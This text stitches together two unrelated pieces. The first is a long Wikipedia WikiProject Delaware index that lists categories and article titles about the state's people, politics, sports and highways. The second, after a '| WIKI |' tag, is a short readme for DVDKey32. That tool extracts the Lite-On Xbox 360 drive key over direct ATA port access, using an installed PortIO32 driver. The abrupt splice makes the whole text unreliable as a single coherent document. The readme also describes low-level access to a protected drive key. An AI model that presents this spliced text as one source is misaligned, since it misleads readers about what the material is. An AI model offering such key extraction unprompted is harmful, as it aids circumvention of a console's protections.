(10) - List of Delaware state parks; Brandywine Creek State Park; Cape Henlopen; Delaware Seashore State Park; Fort Christina; Fort Delaware; Fort DuPont State Park; Killens Pond State Park; Trap Pond State Park; White Clay Creek State Park;
Registered Historic Places in Delaware
* see WikiProject Delaware/Articles
Category:Delaware law
(7) - Brett's law; Delaware Constitution of 1776; Delaware Constitution of 1792; Delaware Constitution of 1831; Delaware Constitution of 1897; Delaware corporation; United States District Court for the District of Delaware;
Category:Delaware State Court System
(3) - Delaware Court of Chancery; Delaware Superior Court; Delaware Supreme Court;
Category:Delaware River and Bay Authority facilities
(6) - Delaware River and Bay Authority; Cape May-Lewes Ferry; Delaware Airpark; Delaware Memorial Bridge; New Castle Airport; Three Forts Ferry Crossing;
Category:Delaware state case law
(7) - Cheff v. Mathes; Entire fairness; Gebhart v. Belton; In re Caremark International Inc. Derivative Litigation; Smith v. Van Gorkom; Unitrin, Inc. v. American General Corp.; Unocal Corp. v. Mesa Petroleum Co.;
Category:Military in Delaware
(5) - 436th Airlift Wing; 512th Airlift Wing; Delaware Army National Guard; Delaware National Guard; Dover Air Force Base;
Category:Delaware militiamen in the American Revolution
(2) - Richard Bassett; Caesar Rodney;
Forts in Delaware
* see WikiProject Delaware/Articles
Category:Natural history of Delaware
(0)
Category:Flora of Delaware
(3) - Swamp pink; Utricularia resupinata; Viola cucullata;
Trees of Delaware
* see WikiProject Delaware/Articles
Category:Trees of Delaware
(1) - Water oak;
Category:People from Delaware
(71) - List of individuals executed in Delaware; List of people from Delaware; John Andrews; Phineas Banning; Alice M. Batchelder; Solomon Bayley; Sheena Benton; Cedella Booker; Nicole Bosso; William Sharp Bush; Joseph M. Carey; Joe Carnahan; Matthew Michael Carnahan; Robert R.M. Carpenter; John W. Causey; Alfred D. Chandler, Jr.; Elizabeth Margaret Chandler; Anne Rogers Clark; Howard Franklin Clark; Thomas Cooper (representative); Elisha D. Cullen; George David Cummins; Jessica Darlin; Stephen Davis (Arizona state senator, author); Philemon Dickinson; Victor Marie du Pont; Charles I. du Pont; Antje Duvekot; A. J. English; Oliver Evans; Thomas Garrett; John P. Gillis; Dallas Green; Willard Hall; Henry Heimlich; Cisco Houston; John Hunn (farmer); Kensey Johns, Jr.; Eldridge R. Johnson; Jacob Jones; Dyre Kearney; Patrick Kerr; Isaac Lea; Judith LeClair; Alfred Lee (bishop); Barbara Lindquist; Mike Luzzi; Eleazer McComb; John J. Milligan; Daniel Nathans; John W. O'Daniel; William Jackson Palmer; John Patten (representative); William Peery; William Ellison Pennewill; Eugene Reybold; Thomas Rodney; David Roselle; Mary Ann Shadd; Melanie Sloan; Thomas Alfred Smyth; Ian Snell; Brian Steckel; James Sykes (delegate); The Escapist (website); James Tilton; James C. Van Sice; Herta Ware; Johnny Weir; Thomas Wynne; Cori Yarckin;
Category:Delaware actors
(10) - Valerie Bertinelli; Doug Hutchison; Ryan Phillippe; Teri Polo; Judge Reinhold; Cynthia Rothrock; Kevin Ruf; Elisabeth Shue; Sean Patrick Thomas; Kathleen Widdoes;
Category:People of Delaware in the American Civil War
(15) - Charles H. Baldwin (Medal of Honor recipient); James A. Bayard, Jr.; William Cannon; Henry A. du Pont; George P. Fisher; Thomas Garrett; John P. Gillis; George R. Riddle; William H. H. Ross; Thomas Alfred Smyth; George Sykes; William Temple (governor); Lorenzo Thomas; Alfred Thomas Archimedes Torbert; Willard Saulsbury, Sr.;
Category:People of Delaware in the American Revolution
(6) - Richard Bassett; John Haslet; Robert Kirkwood; Caesar Rodney; James Tilton; Samuel Wharton;
Delaware militiamen in the American Revolution
* see WikiProject Delaware/Articles
Delaware artists
* see WikiProject Delaware/Articles
Category:Delaware athletes
(20) - Tarzan Cooper; Delino DeShields; Mark Eaton (ice hockey); Wayne Franklin; Joey Graham; Stevie Graham; Dallas Green; Walt Hazzard; Pat Kenney; Mike Koplove; Hans Lobert; John Mabry; Kevin Mench; Luke Petitgout; Chris Short; Ian Snell; BranDon Snow; Johnny Weir; Chris Widger; Dave Williams (baseball);
Delaware colonial people
* see WikiProject Delaware/Articles
Category:Delaware families
(4) - Bayard family; Clayton family; Read family of Delaware; Rodney family of Delaware;
Category:Du Pont family
(36) - Du Pont family; Alexis F. du Pont; Alfred I. du Pont; Alfred V. du Pont; Alice du Pont Mills; Allaire du Pont; Battleship (horse); Alexis I. du Pont Bayard; Thomas F. Bayard, Jr.; C. Douglass Buck; Charles I. du Pont; Alexis Felix du Pont, Jr.; E. Paul du Pont; Henry Francis du Pont; Pierre S. du Pont, IV; Richard Chichester du Pont; Eleuthère Irénée du Pont; Henry A. du Pont; T. Coleman du Pont; Ethel du Pont; Eugene du Pont; Francis Gurney du Pont; Francis Irénée du Pont; Jean Kane Foulke du Pont; John Eleuthère du Pont; Lammot du Pont; Louise E. du Pont Crowninshield; Pierre S. du Pont; Pierre Samuel du Pont de Nemours; Renée de Pelleport du Pont; Rogue (musician); Franklin Delano Roosevelt, Jr.; Franklin Delano Roosevelt, III; Harry Rée; Samuel Francis Du Pont; Victor Marie du Pont;
Category:Fictional characters from Delaware
(1) - Corruptor (comics);
Category:People from Kent County, Delaware
(36) - Colin R.J. Bonini; Franklin Brockson; David P. Buckson; William Burton (governor); Ashley Coleman; Thomas Collins (governor); Cornelius P. Comegys; John Cook (governor); Robert Crumb; Jehu Davis; John Dickinson (delegate); John W. Hall; John Haslet; John H. Hoffecker; Walter O. Hoffecker; James H. Hughes; John Hunn (governor); John Lofland; Simmie Knox; James R. Lofland; Isaac J. MacCollum; James D. McGinnis; Ruth Ann Minner; John Bassett Moore; Charles Polk, Jr.; Lyman Pierson Powell; Robert J. Reynolds; Caesar Rodney; Stephen R. Speed; Presley Spruance; Jacob Stout; William Temple (governor); William Tharp; George Truitt; William T. Watson; James Williams (Delaware representative);
Category:People from Dover, Delaware
(24) - Richard Bassett; J. Frank Allee; Martin W. Bates; William H. Boyce; John M. Clayton; Thomas Clayton; Joseph P. Comegys; William D. Denney; J. Allen Frear, Jr.; Richard R. Kenney; Henry Molleston; Simeon S. Pennewill; Teri Polo; Harry A. Richardson; Henry M. Ridgely; Eli M. Saulsbury; Gove Saulsbury; Nathaniel B. Smithers; George Sykes; James Sykes (governor); Charles L. Terry, Jr.; John M. Vining; Earle D. Willey; Josiah O. Wolcott;
Category:Delaware lawyers
(69) - Anthony Higgins; John M. Vining; Wilbur L. Adams; Richard Bassett; Martin W. Bates; Alexis I. du Pont Bayard; James A. Bayard (elder); James A. Bayard, Jr.; Thomas F. Bayard, Jr.; Richard H. Bayard; Gunning Bedford, Sr.; Joe Biden; Beau Biden; J. Caleb Boggs; William H. Boyce; Charles Brandt; Franklin Brockson; James M. Broom; Thomas J. Capano; Michael N. Castle; John M. Clayton; Thomas Clayton; Thomas Collins (governor); Joseph P. Comegys; Christopher A. Coons; Carl Danberg; Matthew P. Denn; John Dickinson (delegate); Thomas B. Evans, Jr.; George P. Fisher; Vance A. Funk, III; George Gray (senator); David Hall (Delaware governor); L. Irving Handy; Daniel O. Hastings; William H. Heald; Outerbridge Horsey; Robert G. Houston; James H. Hughes; Richard R. Kenney; Louis McLane; Thomas McKean; Charles R. Miller; Thomas W. Miller; Nathaniel Mitchell; Hugh M. Morris; Albert F. Polk; George Read (signer); Louis L. Redding; George R. Riddle; Henry M. Ridgely; Caesar Rodney; Caesar A. Rodney; William V. Roth, Jr.; Eli M. Saulsbury; Willard Saulsbury, Jr.; Charles L. Terry, Jr.; Thomas F. Bayard; Charles Thomas (governor); James M. Tunnell; Nicholas Van Dyke (governor); Nicholas Van Dyke (senator); John Wales; Herbert B. Warburton; William H. Wells; Samuel White; Willard Saulsbury, Sr.; Earle D. Willey; Josiah O. Wolcott;
Delaware Attorneys General
* see WikiProject Delaware/Articles
Category:Major league players from Delaware
(20) - Huck Betts; Cliff Brumbaugh; Randy Bush; Bill Crouch (baseball 1910); Bill Crouch (baseball 1939-45); Bert Cunningham; Delino DeShields; Wayne Franklin; Dallas Green; Bill Hawke; Mike Koplove; Hans Lobert; John Mabry; Dave May; Kevin Mench; John O'Donoghue (short career); Chris Short; Ian Snell; Chris Welsh; Chris Widger;
Category:Delaware musicians
(3) - Clifford Brown; Don Schiff; George Thorogood;
Category:Delaware musical groups
(7) - Boysetsfire; Joshua Fit For Battle; Omnisoul; Plow United; The Spinto Band; The Crash Motive; Thunderbrew;
Category:People from New Castle, Delaware
(4) - John Walter Bratton; Thomas Holcomb; Vinnie Moore; Ryan Phillippe;
Category:People from New Castle County, Delaware
(69) - Archibald Alexander (Delaware); L. Heisler Ball; Gunning Bedford, Sr.; Valerie Bertinelli; Benjamin T. Biggs; J. Caleb Boggs; Boysetsfire; C. Douglass Buck; Ken Burns; Cab Calloway; Roman Ciesinski; John Clark (governor); John M. Clayton; Joshua Clayton; John P. Cochran; Christopher A. Coons; Tarzan Cooper; Harry Coover; Carl Danberg; F. O. C. Darley; Matthew P. Denn; Dave Douglas (golfer); Tom Douglas; Pierre S. du Pont, IV; Alfred V. du Pont; Eleuthère Irénée du Pont; Henry A. du Pont; Pierre Samuel du Pont de Nemours; Thomas B. Evans, Jr.; Vance A. Funk, III; Robert W. Gore; Tony Graffanino; Ashlee Greenwell; Kwame Harris; Orien Harris; Dwayne Henry; Bernard Hopkins; Richard Howell; John W. Rollins; Katherine Ciesinski; Henry Latimer (senator); Charles B. Lore; Thomas Macdonough; Jack A. Markell; Harris B. McDowell, Jr.; Thomas McKean; Arnold Naudain; John B. Penington; Russell W. Peterson; Albert F. Polk; Keith Powell; Bill Press; George Read (signer); William V. Roth, Jr.; Levi Scott (Bishop); Silas Simmons; James Smith (political figure); Terry R. Spence; Dennis Spivack; Thomas Stockton; Charles Thomas (governor); Jim Thompson (designer); Jan C. Ting; Sherman W. Tribbitt; Nicholas Van Dyke (governor); Nicholas Van Dyke (senator); Loudon Wainwright III; Dale E. Wolf; Shien Biau Woo;
People from Wilmington, Delaware
* see WikiProject Delaware/Articles
People from New Castle, Delaware
* see WikiProject Delaware/Articles
Category:Delaware politicians
(4) - Michael Berg; John C. Carney, Jr.; Christopher A. Coons; David N. Levinson;
Delaware Attorneys General
* see WikiProject Delaware/Articles
Category:Delaware State Representatives
(52) - George P. Fisher; Archibald Alexander (Delaware); Richard Bassett; Martin W. Bates; Gunning Bedford, Sr.; William Cannon; Michael N. Castle; Peter F. Causey; John Clark (governor); John M. Clayton; Joshua Clayton; Cornelius P. Comegys; Joseph P. Comegys; John Cook (governor); Thomas Cooper (representative); William B. Cooper; Jehu Davis; William D. Denney; Victor Marie du Pont; Pierre S. du Pont, IV; Outerbridge Horsey; Robert G. Houston; Henry Latimer (senator); Caleb S. Layton; Harris B. McDowell, Jr.; Thomas McKean; John McKinly; Ruth Ann Minner; Nathaniel Mitchell; Henry Molleston; Arnold Naudain; Samuel Paynter; Charles Polk, Jr.; James Ponder; George Read (signer); Robert J. Reynolds; Caesar A. Rodney; Caleb Rodney; Daniel Rogers; Eli M. Saulsbury; Terry R. Spence; Jacob Stout; William Temple (governor); Charles Thomas (governor); James Tilton; John G. Townsend, Jr.; Sherman W. Tribbitt; George Truitt; Ebe W. Tunnell; Nicholas Van Dyke (governor); John M. Vining; William H. Wells;
Category:Delaware State Senators
(44) - List of Delaware State Senators; Delaware General Assembly Delegations from New Castle County; Archibald Alexander (Delaware); J. Frank Allee; Richard Bassett; Gunning Bedford, Sr.; Colin R.J. Bonini; Michael N. Castle; Thomas Collins (governor); John Cook (governor); Thomas Cooper (representative); John Dickinson (delegate); Victor Marie du Pont; Charles I. du Pont; John W. Hall; David Hazzard; Joseph Maull; Harris B. McDowell, Jr.; Charles R. Miller; Ruth Ann Minner; Nathaniel Mitchell; Henry Molleston; Samuel Paynter; Simeon S. Pennewill; Charles Polk, Jr.; James Ponder; George Read (signer); Caesar Rodney; Caleb Rodney; Daniel Rogers; Gove Saulsbury; Presley Spruance; Charles C. Stockley; Jacob Stout; James Sykes (governor); James Sykes (delegate); William Temple (governor); William Tharp; Charles Thomas (governor); George Truitt; Nicholas Van Dyke (governor); John M. Vining; William T. Watson; William H. Wells;
Category:Delaware Democrats
(58) - Wilbur L. Adams; William F. Allen; Martin W. Bates; Alexis I. du Pont Bayard; Thomas F. Bayard, Jr.; Caleb P. Bennett; Joe Biden; Beau Biden; Benjamin T. Biggs; William H. Boyce; Franklin Brockson; William Burton (governor); William Cannon; John C. Carney, Jr.; Thomas R. Carper; Elbert N. Carvel; Peter F. Causey; John P. Cochran; Joseph P. Comegys; Christopher A. Coons; Carl Danberg; Matthew P. Denn; J. Allen Frear, Jr.; George Gray (senator); John W. Hall; L. Irving Handy; Henry A. Houston; James H. Hughes; Richard R. Kenney; Louis McLane; Isaac J. MacCollum; Jack A. Markell; Harris B. McDowell, Jr.; James D. McGinnis; Richard C. McMullen; Ruth Ann Minner; Albert F. Polk; James Ponder; Robert J. Reynolds; George R. Riddle; William H. H. Ross; Eli M. Saulsbury; Gove Saulsbury; Willard Saulsbury, Jr.; Dennis Spivack; Charles C. Stockley; William Temple (governor); Charles L. Terry, Jr.; William Tharp; Thomas F. Bayard; Philip A. Traynor; Sherman W. Tribbitt; Ebe W. Tunnell; James M. Tunnell; William T. Watson; Willard Saulsbury, Sr.; Josiah O. Wolcott; Shien Biau Woo;
Category:Delaware Democratic-Republicans
(9) - Archibald Alexander (Delaware); John Collins (governor); John Dickinson (delegate); David Hall (Delaware governor); Joseph Haslet; David Hazzard; Thomas McKean; Caesar A. Rodney; Charles Thomas (governor);
Category:Delaware Federalists
(28) - Nicholas Van Dyke (senator); John M. Vining; Richard Bassett; Martin W. Bates; Gunning Bedford, Sr.; John Clark (governor); Joshua Clayton; Thomas Clayton; Cornelius P. Comegys; William B. Cooper; Outerbridge Horsey; Louis McLane; Joseph Maull; John McKinly; Nathaniel Mitchell; Henry Molleston; Samuel Paynter; Charles Polk, Jr.; George Read (signer); Henry M. Ridgely; Caleb Rodney; Daniel Rodney; Daniel Rogers; Jacob Stout; James Sykes (governor); George Truitt; William H. Wells; Samuel White;
Category:Governors of Delaware
(73) - List of Governors of Delaware; Delaware gubernatorial elections; List of Governors of Delaware (alphabetic); Walter W. Bacon; Richard Bassett; Gunning Bedford, Sr.; Caleb P. Bennett; Benjamin T. Biggs; J. Caleb Boggs; C. Douglass Buck; David P. Buckson; William Burton (governor); William Cannon; Thomas R. Carper; Elbert N. Carvel; Michael N. Castle; Peter F. Causey; John Clark (governor); Joshua Clayton; John P. Cochran; John Collins (governor); Thomas Collins (governor); Cornelius P. Comegys; John Cook (governor); William B. Cooper; Jehu Davis; William D. Denney; John Dickinson (delegate); Pierre S. du Pont, IV; David Hall (Delaware governor); John W. Hall; Joseph Haslet; David Hazzard; John Hunn (governor); Preston Lea; Joshua H. Marvil; Joseph Maull; Thomas McKean; John McKinly; Richard C. McMullen; Charles R. Miller; Ruth Ann Minner; Nathaniel Mitchell; Henry Molleston; Samuel Paynter; Simeon S. Pennewill; Russell W. Peterson; Charles Polk, Jr.; James Ponder; George Read (signer); Robert J. Reynolds; Robert P. Robinson; Caesar Rodney; Caleb Rodney; Daniel Rodney; Daniel Rogers; William H. H. Ross; Gove Saulsbury; Charles C. Stockley; Thomas Stockton; Jacob Stout; James Sykes (governor); William Temple (governor); Charles L. Terry, Jr.; William Tharp; Charles Thomas (governor); John G. Townsend, Jr.; Sherman W. Tribbitt; George Truitt; Ebe W. Tunnell; Nicholas Van Dyke (governor); William T. Watson; Dale E. Wolf;
Category:Delaware state court judges
(12) - William H. Boyce; Joseph P. Comegys; David Hazzard; John W. Houston; Stephen P. Lamb; William Swain Lee; Charles B. Lore; George Read (signer); Charles L. Terry, Jr.; William G. Whiteley; Willard Saulsbury, Sr.; Josiah O. Wolcott;
Category:Lieutenant Governors of Delaware
(13) - List of Lieutenant Governors of Delaware; Alexis I. du Pont Bayard; David P. Buckson; John C. Carney, Jr.; Elbert N. Carvel; Michael N. Castle; John W. Rollins; Isaac J. MacCollum; James D. McGinnis; Ruth Ann Minner; Sherman W. Tribbitt; Dale E. Wolf; Shien Biau Woo;
Category:Leaders of cities in Delaware
(0)
Category:Mayors of places in Delaware
(4) - Walter W. Bacon; Vance A. Funk, III; Stephen R. Speed; William G. Whiteley;
Category:Delaware Republicans
(45) - J. Frank Allee; Walter W. Bacon; L. Heisler Ball; J. Caleb Boggs; Colin R.J. Bonini; C. Douglass Buck; David P. Buckson; Hiram R. Burton; William Cannon; Michael N. Castle; William D. Denney; Pierre S. du Pont, IV; Henry A. du Pont; T. Coleman du Pont; Thomas B. Evans, Jr.; George P. Fisher; Harry G. Haskell, Jr.; Daniel O. Hastings; William H. Heald; Anthony Higgins; John H. Hoffecker; Walter O. Hoffecker; Robert G. Houston; John Hunn (governor); John W. Rollins; Caleb R. Layton; Preston Lea; Joshua H. Marvil; Charles R. Miller; Thomas W. Miller; Simeon S. Pennewill; Russell W. Peterson; Harry A. Richardson; Robert P. Robinson; William V. Roth, Jr.; Stephen R. Speed; Terry R. Spence; J. George Stewart; Jan C. Ting; John G. Townsend, Jr.; Dale E. Wolf; Herbert B. Warburton; Earle D. Willey; George S. Williams; John J. Williams (senator);
Category:Members of the United States House of Representatives from Delaware
(66) - United States Congressional Delegations from Delaware; Delaware's At-large congressional district; List of United States Representatives from Delaware; U.S. House of Representatives Delegations from Delaware; Delaware's congressional elections; Wilbur L. Adams; William F. Allen; L. Heisler Ball; James A. Bayard (elder); Benjamin T. Biggs; J. Caleb Boggs; William H. Boyce; Franklin Brockson; James M. Broom; Hiram R. Burton; Thomas R. Carper; Michael N. Castle; John W. Causey; Thomas Clayton; Thomas Cooper (representative); Elisha D. Cullen; Pierre S. du Pont, IV; Thomas B. Evans, Jr.; George P. Fisher; Willard Hall; L. Irving Handy; Harry G. Haskell, Jr.; William H. Heald; John H. Hoffecker; Walter O. Hoffecker; Henry A. Houston; John W. Houston; Robert G. Houston; Kensey Johns, Jr.; Henry Latimer (senator); Caleb R. Layton; James R. Lofland; Charles B. Lore; Louis McLane; Edward L. Martin; Harris B. McDowell, Jr.; Thomas W. Miller; John J. Milligan; John A. Nicholson; John Patten (representative); John B. Penington; Albert F. Polk; George R. Riddle; Henry M. Ridgely; Thomas Robinson, Jr.; Caesar A. Rodney; Daniel Rodney; George B. Rodney; William V. Roth, Jr.; Nathaniel B. Smithers; J. George Stewart; William Temple (governor); Philip A. Traynor; Nicholas Van Dyke (senator); John M. Vining; Herbert B. Warburton; William G. Whiteley; Earle D. Willey; George S. Williams; James Williams (Delaware representative); Jonathan S. Willis;
Category:United States Senators from Delaware
(53) - List of United States Senators from Delaware; United States Congressional Delegations from Delaware; List of United States Senators from Delaware (alphabetic); Delaware United States Senate elections; J. Frank Allee; L. Heisler Ball; Richard Bassett; Martin W. Bates; James A. Bayard (elder); James A. Bayard, Jr.; Thomas F. Bayard, Jr.; Richard H. Bayard; Joe Biden; J. Caleb Boggs; C. Douglass Buck; Thomas R. Carper; John M. Clayton; Joshua Clayton; Thomas Clayton; Joseph P. Comegys; Henry A. du Pont; T. Coleman du Pont; J. Allen Frear, Jr.; George Gray (senator); Daniel O. Hastings; Anthony Higgins; Outerbridge Horsey; James H. Hughes; Richard R. Kenney; Henry Latimer (senator); Louis McLane; Arnold Naudain; George Read (signer); Harry A. Richardson; George R. Riddle; Henry M. Ridgely; Caesar A. Rodney; Daniel Rodney; William V. Roth, Jr.; Eli M. Saulsbury; Willard Saulsbury, Jr.; Presley Spruance; Thomas F. Bayard; John G. Townsend, Jr.; James M. Tunnell; Nicholas Van Dyke (senator); John M. Vining; John Wales; William H. Wells; Samuel White; Willard Saulsbury, Sr.; John J. Williams (senator); Josiah O. Wolcott;
Category:Delaware Whigs
(13) - John M. Clayton; Thomas Clayton; Cornelius P. Comegys; Joseph P. Comegys; William B. Cooper; David Hazzard; Joseph Maull; Arnold Naudain; Charles Polk, Jr.; Presley Spruance; Thomas Stockton; William Temple (governor); John Wales;
Category:Delaware politician stubs
(5) - Jacob Moore; David N. Levinson; Template:Delaware-politician-stub; WikiProject Delaware; William E. Morris (politician);
Category:People from Sussex County, Delaware
(47) - William Alland; William F. Allen; William H. Boyce; Hiram R. Burton; William Cannon; Elbert N. Carvel; Peter F. Causey; John Collins (governor); William B. Cooper; Delino DeShields; Richard H. Ellis; George P. Fisher; David Hall (Delaware governor); Joseph Haslet; David Hazzard; Outerbridge Horsey; Henry A. Houston; Robert G. Houston; James H. Hughes; John Lofland; Caleb R. Layton; Daniel J. Layton; Edward L. Martin; Joshua H. Marvil; Joseph Maull; Nathaniel Mitchell; Hugh M. Morris; John A. Nicholson; Samuel Paynter; Albert F. Polk; Charles Polk, Jr.; James Ponder; Jamin Pugh; Mark Pugh; Edward Willis Redfield; Caleb Rodney; Daniel Rodney; Daniel Rogers; William H. H. Ross; Charles C. Stockley; John G. Townsend, Jr.; Ebe W. Tunnell; James M. Tunnell; William H. Wells; Willard Saulsbury, Sr.; George S. Williams; John J. Williams (senator);
Category:People from Wilmington, Delaware
(97) - James A. Bayard (elder); Israel Acrelius; Wilbur L. Adams; Aleksandra Ziółkowska Boehm; Ann Althouse; Aaron Augenblick; John Backus; Walter W. Bacon; Alexis I. du Pont Bayard; Richard H. Bayard; James A. Bayard, Jr.; Thomas F. Bayard, Jr.; Gunning Bedford, Jr.; Caleb P. Bennett; Bertice Berry; Valerie Bertinelli; Joe Biden; Beau Biden; Clifford Brown; Thomas J. Capano; John C. Carney, Jr.; Thomas R. Carper; Kathleen Cassello; Christopher Castellani; Michael N. Castle; John T. Chain, Jr.; Uma Chowdhry; Howard Franklin Clark; John Dickinson (delegate); T. Coleman du Pont; Sara Dylan; Mark Eaton (ice hockey); Yvette Freeman; George Gray (senator); L. Irving Handy; Harry G. Haskell, Jr.; Daniel O. Hastings; William H. Heald; Anthony Higgins; Outerbridge Horsey; Cisco Houston; Vicki Huber; Pat Kenney; Richard Lankford; Pete Larson (football); Preston Lea; Frank Legato; Jennifer Leigh; Louis McLane; John Mabry; Bob Marley; Stephen Marley (musician); John P. Marquand; John McKinly; Marshall Kirk McKusick; Robert Milligan McLane; Richard C. McMullen; Kevin Mench; Ed Michaels; Charles R. Miller; Thomas W. Miller; Notable Persons from Wilmington; Kirk Olivadotti; Montell Owens; Mehmet Oz; Mario G. Pino; Plow United; Howard Pyle; Judge Reinhold; George R. Riddle; Robert P. Robinson; Caesar A. Rodney; Cynthia Rothrock; Kevin Ruf; Willard Saulsbury, Jr.; Andrew Shue; Elisabeth Shue; BranDon Snow; The Spinto Band; J. George Stewart; Susan Stroman; Thomas F. Bayard; Sean Patrick Thomas; George Thorogood; Philip A. Traynor; Tom Verlaine; Rick Wagoner; John Wales; Carmen Wallace; Dave Walls; Herbert B. Warburton; Richard B. Weldon, Jr.; Ti West; Randy White (football player); Samuel White; Kathleen Widdoes; Alan Wood, Jr.;
Delaware writers
* see WikiProject Delaware/Articles
Category:Politics of Delaware
(6) - Politics of Delaware; Delaware Democratic Party; Green Party of Delaware; Independent Party of Delaware; Republican State Committee of Delaware; United States presidential election, 2004, in Delaware;
Category:Congressional districts of Delaware
(3) - Delaware's At-large congressional district; Template:USCongDistStateDE; Image:DE01 109.gif;
Category:Delaware elections
(10) - Delaware Attorney General; Delaware gubernatorial elections; Delaware gubernatorial election, 2004; Delaware gubernatorial election, 2008; Delaware's congressional elections; Delaware's congressional election, 2006; Delaware's congressional election, 2008; Delaware United States Senate elections; Delaware United States Senate election, 2006; Delaware United States Senate election, 2008;
Category:Delaware United States Senate elections
(3) - Delaware United States Senate election, 2006; Delaware United States Senate election, 2008; Delaware United States Senate elections;
Category:United States Navy Delaware-related ships
(5) - USS Delaware (BB-28); USS Cabot (CVL-28); USS Wilmington (CL-111); USS Wilmington; USS Wilmington (PG-8);
Category:Sports in Delaware
(13) - Central Delaware SA Future; Delaware Destroyers; Delaware Dynasty; Delaware Smash; Delaware Stars; Delaware Wings; Delaware Wizards; East Coast Wrestling Association; LPGA Championship; Seaford High School; Wilmington Blue Rocks; Wilmington Bombers; Wilmington Quicksteps;
Category:Delaware Fighting Blue Hens basketball
(1) - Tom Mees;
Category:Delaware Fighting Blue Hens women's basketball
(0)
=Category:Delaware Fighting Blue Hens women's basketball players
= (1) - Tyresa Smith;
Category:Delaware Fighting Blue Hens men's basketball
(0)
=Category:Delaware Fighting Blue Hens men's basketball coaches
= (6) - Mike Brey; Jim Casciano; Larry Davis (basketball coach); Dennis Felton; David Henderson (basketball); Monte Ross;
=Category:Delaware Fighting Blue Hens men's basketball players
= (1) - Kęstutis Marčiulionis;
Category:Delaware Fighting Blue Hens football
(3) - Delaware Fighting Blue Hens football; Delaware Stadium; YoUDee;
Category:Delaware Fighting Blue Hens football coaches
(5) - K. C. Keeler; William D. Murray; David M. Nelson; Harold "Tubby" Raymond; Skip Stahley;
Category:Delaware Fighting Blue Hens football players
(10) - Mike Adams (American football); Scott Brunner (American football); Rich Gannon; Andy Hall (American football); K. C. Keeler; Jeff Komlo; Matt Nagy; Ben Patrick; Jim Quirk; Dan Reeder;
Category:Delaware Smash
(4) - Delaware Smash; Angela Haynes; Liezel Huber; Mariaan de Swardt;
Category:Delaware State Hornets football
(1) - Scott Graham;
Category:Delaware State Hornets football players
(5) - Reggie Barnes; Jamaal Jackson; Darnerien McCants; John Taylor (American football); Clarence Weathers;
Major league players from Delaware
* see WikiProject Delaware/Articles
Sports venues in Delaware
* see WikiProject Delaware/Articles
Category:Symbols of Delaware
(5) - Blue Hen Chicken; Delaware Diamond; Flag of Delaware; Liberty and independence; Seal of Delaware;
Category:Official seals of places in Delaware
(1) - Image:Kentseal.jpg;
Category:Transportation in Delaware
(3) - Banning, Delaware; Delaware Department of Transportation; Saint Johnstown, Delaware;
Airports in Delaware
* see WikiProject Delaware/Articles
Bridges in Delaware
* see WikiProject Delaware/Articles
Category:Bus transit in Delaware
(5) - DART First State; DART First State Kent County bus routes; DART First State New Castle County bus routes; DART First State Sussex County bus routes; DART First State inter-county bus routes;
Canals in Delaware
* see WikiProject Delaware/Articles
Delaware River and Bay Authority facilities
* see WikiProject Delaware/Articles
Category:Ferries in Delaware
(3) - Cape May-Lewes Ferry; Three Forts Ferry Crossing; Woodland Ferry;
Category:Delaware railroads
(12) - List of Delaware railroads; List of railroad lines in the Delmarva Peninsula; Baltimore and Delaware Bay Railroad; Baltimore and Philadelphia Railroad; Maryland and Delaware Railroad; New Castle and Frenchtown Turnpike and Rail Road; Northeast Corridor; Octoraro Railroad; Philadelphia, Wilmington and Baltimore Railroad; Queen Anne's Railroad; St. Lawrence and Hudson Railway; Wilmington and Western Railroad;
Category:Amtrak
(5) - Amtrak; Acela; Acela Express; Amtrak Express; Northeast Corridor;
Category:Railway stations in Delaware
(0)
Category:Amtrak stations in Delaware
(2) - Newark Rail Station (Delaware); Wilmington Station (Delaware);
Category:Roads in Delaware
(0)
Category:Freeways in Delaware
(2) - Delaware Route 141; Puncheon Run Connector;
Category:Interstate Highways in Delaware
(4) - Interstate 95 in Delaware; Interstate 295 (Delaware-New Jersey); Interstate 495 (Delaware); Interstate 895 (Delaware);
Category:State highways in Delaware
(62) - List of numbered routes in Delaware; Delaware Route 1; Delaware Route 1 Business; Delaware Route 1A; Delaware Route 1B; Delaware Route 1D; Delaware Route 2; Delaware Route 2 Business; Delaware Route 3; Delaware Route 4; Delaware Route 5; Delaware Route 5 Alternate; Delaware Route 6; Delaware Route 7; Delaware Route 8; Delaware Route 9; Delaware Route 9A; Delaware Route 10; Delaware Route 10 Alternate; Delaware Route 11; Delaware Route 12; Delaware Route 14; Delaware Route 15; Delaware Route 16; Delaware Route 17; Delaware Route 18; Delaware Route 20; Delaware Route 23; Delaware Route 24; Delaware Route 26; Delaware Route 28; Delaware Route 30; Delaware Route 30 Alternate; Delaware Route 34; Delaware Route 36; Delaware Route 37; Delaware Route 41; Delaware Route 42; Delaware Route 44; Delaware Route 48; Delaware Route 52; Delaware/Maryland Route 54; Delaware Route 58; Delaware Route 62; Delaware Route 71; Delaware Route 72; Delaware Route 82; Delaware Route 92; Delaware Route 100; Delaware Route 141; Delaware Route 202; Delaware Route 261; Delaware Route 273; Delaware Route 286; Delaware Route 299; Delaware Route 300; Delaware Route 404; Delaware Route 404 Alternate; Delaware Route 404 Business; Delaware Route 491; Delaware Route 896; Delaware Route 896 Business;
Toll roads in Delaware
* see WikiProject Delaware/Articles
Category:U.S. Highways in Delaware
(20) - U.S. Route 9 in Delaware; U.S. Route 301; U.S. Route 301 Truck (Delaware); U.S. Route 202; U.S. Route 9; U.S. Route 9 Business (Lewes, Delaware); U.S. Route 9 Truck (Georgetown, Delaware); U.S. Route 13; U.S. Route 13 in Delaware; U.S. Route 13 Alternate (Camden, Delaware); U.S. Route 13 Alternate (Dover, Delaware); U.S. Route 13 Alternate (Wilmington, Delaware); U.S. Route 13 Business (Bridgeville, Delaware); U.S. Route 13 Business (Wilmington, Delaware); U.S. Route 113; U.S. Route 113 Alternate (Delaware); U.S. Route 122; U.S. Route 301 in Delaware; U.S. Route 40' U.S. Route 40 in Delaware; | WIKI |
DVDKey32 v0.6
-----------------Podger-
*** Lite-On Key Extractor for Windows ***
This exe is a win32 app that extracts the drive key from the Lite-On 360 drive via Serial cable.
Be warned: This win32 program does not use the windows API. The exe writes directly to the ATA
controller's I/O ports (which requires the PortIO32 driver) It also requires an ATA - SATA adapter
to connect your 360 drive to your PC, or a SATA controller that has legacy mode. Look fot it in the
controllers BIOS setup options.
Install the driver:
Simply double click the PortIO32.exe, if for any reason the installation fails, the required files and
instructions for manual installation will be place in a "driver" folder within the DVDKey32.exe directory.
Uninstall the driver:
Open a command prompt in the PortIO32.exe directory and type: Portio32 remove
Again, if the uninstall fails, instructions will be givin to manually remove the driver.
